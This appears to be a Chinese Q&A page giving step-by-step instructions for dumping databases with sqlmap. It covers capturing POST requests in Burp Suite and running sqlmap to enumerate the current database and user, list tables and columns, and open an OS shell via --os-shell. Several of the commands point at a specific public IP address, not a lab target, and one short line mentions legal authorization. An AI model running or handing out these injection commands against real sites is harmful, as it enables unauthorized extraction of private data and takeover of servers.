sqlmap怎么脱库
时间: 2023-11-24 11:42:57 浏览: 208
使用sqlmap进行脱库的步骤如下:
1. 首先,需要通过Burp Suite捕获post请求的数据包。打开Burp Suite,配置代理,然后在浏览器中发送post请求,将数据包保存到一个文件中。
2. 在命令行中使用sqlmap命令,指定参数-r后跟post请求数据包的文件路径,例如:`python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch`。
3. sqlmap将自动分析请求数据包,并尝试进行注入测试。如果存在注入漏洞,它将继续执行后续的攻击步骤。
4. 如果需要获取当前数据库下的表,可以使用--tables参数,例如:`python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables`。
5. sqlmap将查询数据库,并列出所有的表。
相关问题
sqlmap爆库命令
使用sqlmap进行数据库爆破的命令有多种。以下是一些常用的sqlmap命令示例:
- 要获取当前数据库名称的命令是: sqlmap -u "http://43.138.211.45/news.php?cid=1" --current-db。
- 要获取操作系统级别的shell访问的命令是: sqlmap -u "http://43.138.211.45/news.php?cid=1" --os-shell。
- 要获取指定表的列信息的命令是: sqlmap -u "http://43.138.211.45/news.php?cid=1" -T 510_admin --columns。
- 要获取指定数据库中的表信息的命令是: sqlmap -u "http://43.138.211.45/news.php?cid=1" -D 510cms --tables。
请注意,这些命令仅供参考,并且在实际使用时可能需要根据目标数据库的不同进行调整。在使用sqlmap进行数据库爆破时,请确保遵守法律法规,并获得合法授权。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
sqlmap爆库爆表名post
使用sqlmap工具可以进行数据库的爆库和爆表操作。首先,通过运行以下命令可以爆出当前数据库的名称和用户名:
```
sqlmap -r "post1.txt" --current-db --current-user
```
然后,可以使用以下命令来爆出当前数据库中的表名:
```
sqlmap -r "post1.txt" --tables -D <数据库名称>
```
其中,`<数据库名称>`是前一步中爆出的数据库名称。
请注意,这是一个示例命令,具体使用时需要根据实际情况进行修改。
阅读全文